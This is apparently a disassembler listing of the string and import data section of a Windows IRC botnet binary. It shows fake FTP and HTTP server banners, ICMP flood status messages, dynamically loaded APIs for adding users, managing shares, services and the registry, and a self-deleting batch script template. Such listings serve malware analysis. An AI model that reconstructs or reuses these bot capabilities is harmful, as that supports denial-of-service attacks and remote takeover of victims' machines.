aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_402B1D+45Eo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_402B1D+42Ao
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402B1D+3ECo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_402B1D:loc_402ED3o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_402B1D+38Eo
		align 10h
aList		db 'LIST',0             ; DATA XREF: sub_402B1D:loc_402E99o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_402B1D+350o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_402B1D:loc_402E5Ao
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_402B1D+333o
aI:					; DATA XREF: sub_402B1D+31Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_402B1D+302o
aA_0:					; DATA XREF: sub_402B1D+2EDo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_402B1D:loc_402DF6o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_402B1D+2CFo
		align 4
off_41FE14	dd offset dword_445750	; DATA XREF: sub_402B1D+2BDo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_402B1D+2B1o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_402B1D:loc_402DBBo
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_402B1D+294o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_402B1D:loc_402D9Eo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_402B1D+277o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_402B1D:loc_402D81o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_402B1D+25Ao
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_402B1D+247o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_402B1D+236o
		align 4
a220Winftpd1_2	db '220 WinFtpd 1.2',0Ah,0 ; DATA XREF: sub_402B1D+1BAo
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4030C4+6BBo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4030C4+6A6o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4030C4+68Bo
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4030C4+5F1o
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4030C4+5C9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4030C4:loc_403645o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4030C4+57Ao
		align 4
aSS		db '%s%s',0             ; DATA XREF: sub_4030C4+523o
					; sub_403B4C+E6o ...
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4030C4+4C5o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4030C4+484o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4030C4+451o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4030C4:loc_4034D7o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4030C4+40Co
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_4030C4+3B5o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4030C4+36Co
					; sub_4030C4+4DAo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4030C4+33Bo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4030C4+311o
					; sub_4030C4+463o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4030C4+2E5o
aAm		db 'AM',0               ; DATA XREF: sub_4030C4+2C4o
					; .data:0042D140o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_4030C4+2B9o
					; .data:0042D144o
		align 4
a__0:					; DATA XREF: sub_4030C4+27Co
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4030C4+264o
		align 8
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4030C4+1F0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4030C4+15Co
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4030C4+144o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4030C4+107o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4030C4+B4o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4030C4+75o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4030C4+3Fo
asc_420328:				; DATA XREF: sub_4030C4+1Eo
					; sub_403B4C+F7o ...
		dw 0Ah
		unicode	0, <>,0
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4038B7+8Ao
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
		align 8
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4039DE+E4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4039DE+CAo
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_4039DE+94o
					; sub_40FE1F+17Do ...
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4039DE+7Bo
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_4039DE:loc_403A46o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_4039DE+61o
		align 4
aHttpdFailedT_0	db '[HTTPD]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_403B4C+287o
		align 4
aHttpdWorkerThr	db '[HTTPD]: Worker thread of server thread: %d.',0
					; DATA XREF: sub_403B4C+213o
		align 4
asc_4205E4:				; DATA XREF: sub_403B4C+16Eo
		unicode	0, <*>,0
aS_1		db '%s',0               ; DATA XREF: sub_403B4C+31o
					; sub_4045DD+44o ...
		align 4
aS_6		db '\%s',0              ; DATA XREF: sub_403B4C+27o
aHttpdErrorServ	db '[HTTPD]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_403E06+3E0o
		align 10h
asc_420620	db 0Dh,0Ah,0		; DATA XREF: sub_403E06+296o
		align 4
aGet		db 'GET ',0             ; DATA XREF: sub_403E06+22Do
		align 10h
aIcmpErrorSendi	db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return'
					; DATA XREF: sub_404249+2F2o
		db 'ed: <%d>.',0
		align 10h
aIcmpDoneWithSF	db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s'
					; DATA XREF: sub_404249+288o
		db 'ec (%dMB).',0
aIcmpInvalidTar	db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_404249+B6o
		align 4
aIcmpErrorSetso	db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_404249+8Eo
aIcmpErrorSocke	db '[ICMP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_404249+49o
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4045DD+69o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_4045DD+16o
					; sub_4078FA+703o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_4045DD+Fo
					; sub_4078FA+711o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40468E+B8Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40468E+B7Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40468E+B72o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40468E+B65o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40468E+B58o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40468E+B50o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40468E:loc_4051D1o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40468E+B0Eo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40468E+B06o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40468E:loc_405187o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40468E+AB4o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40468E+AA7o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40468E+A9Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40468E+A92o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40468E:loc_405113o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40468E+A50o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40468E+A48o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40468E:loc_4050C9o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40468E+A06o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40468E+9FEo
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40468E:loc_40507Fo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40468E+974o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40468E+967o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40468E+95Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40468E+94Do
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40468E+940o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40468E+933o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40468E+926o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40468E+919o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40468E+90Co
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40468E+8FFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40468E+8F7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40468E:loc_404F74o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40468E+8A9o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40468E+89Co
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40468E+894o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40468E:loc_404F15o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40468E+85Ao
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40468E+7E8o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40468E+7DBo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40468E+7CEo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40468E+7C1o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40468E+7B4o
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40468E+7A7o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40468E+79Ao
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40468E+78Do
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40468E+780o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40468E+778o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40468E:loc_404DF5o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40468E+62Eo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40468E+621o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40468E+614o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40468E+607o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40468E+5FAo
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40468E+5EDo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40468E+5E0o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40468E+5D3o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40468E+5C6o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40468E+5B9o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40468E+5B1o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40468E+59Fo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_40468E+592o
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_40468E+585o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_40468E+578o
					; sub_4078FA+1DCFo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40468E+56Bo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40468E+55Eo
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_40468E+551o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_40468E+544o
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40468E+537o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40468E+52Ao
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_40468E+51Do
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40468E+510o
aSocket		db 'socket',0           ; DATA XREF: sub_40468E+503o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40468E+4F6o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40468E+4E9o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40468E+4DCo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40468E+4CFo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40468E+4C2o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40468E+4B5o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40468E+4ADo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40468E+49Co
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40468E+429o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40468E+41Co
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40468E+40Fo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40468E+402o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40468E+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40468E+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40468E+3DBo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40468E+3CEo
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40468E+3C6o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40468E:loc_404A43o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40468E:loc_404A1Bo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40468E+335o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40468E+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40468E+31Bo
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40468E+30Eo
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40468E+301o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40468E+2F4o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40468E+2E7o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40468E:loc_40496Do
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40468E+2AFo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40468E+2A2o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40468E:loc_404928o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40468E+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40468E+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40468E+238o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40468E+22Bo
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40468E+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40468E+216o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40468E:loc_404893o
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40468E+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40468E+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40468E+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40468E+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40468E+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40468E+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40468E+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40468E+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40468E:loc_4047C3o
					; sub_41D75B+13o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40468E:loc_404796o
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40468E+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40468E+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40468E+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40468E+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40468E+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40468E+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40468E+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40468E+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40468E+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40468E+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40468E+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40468E+Ao
					; sub_41BBD8+1Eo
		align 4
aMainDllTestCom	db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_405277+2BEo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_405277+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_405277+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_405277+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_405277+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_405277+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_405277+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_405277+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_405277+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_405277+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_405277+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_405277+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_405277+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_405277+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_405708+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_4057CD+6o
					; sub_40E70F+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40584F+1Ao
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4058F3+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_405915+13Co
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_405915+80o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_405915+43o
		align 10h
aContinued	db 'Continued',0
		align 4
aContinue_0	db 'Continue',0
		align 4
aPaused		db 'Paused',0
		align 10h
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:0042A42Co
aStop_0		db 'Stop',0             ; DATA XREF: .data:0042A428o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:0042A420o
aStart_0	db 'Start',0            ; DATA XREF: .data:0042A41Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:0042A414o
		align 10h
aList_1		db 'List',0             ; DATA XREF: .data:0042A410o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:0042A408o
aDelete_0	db 'Delete',0           ; DATA XREF: .data:0042A404o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .data:off_42A3FCo
		align 10h
aAdd		db 'Add',0              ; DATA XREF: .data:off_42A3F8o
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_405C4B+128o
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_405C4B:loc_405D5Fo
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_405C4B:loc_405D58o
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_405C4B:loc_405D51o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_405C4B:loc_405D4Ao
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_405C4B:loc_405D43o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_405C4B:loc_405D3Co
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_405C4B:loc_405D35o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_405C4B:loc_405D2Eo
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_405C4B:loc_405D27o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_405C4B:loc_405D20o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_405C4B:loc_405CF5o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_405C4B:loc_405CEEo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_405C4B:loc_405CE7o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_405C4B:loc_405CE0o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_405C4B+8Bo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_405C4B:loc_405CB5o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_405C4B:loc_405CABo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_405C4B:loc_405CA1o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_405C4B:loc_405C97o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_405C4B:loc_405C8Do
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_405C4B+38o
		align 10h
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_405DC5+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_405DC5:loc_405E94o
aStarting	db '   Starting',0      ; DATA XREF: sub_405DC5:loc_405E8Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_405DC5:loc_405E86o
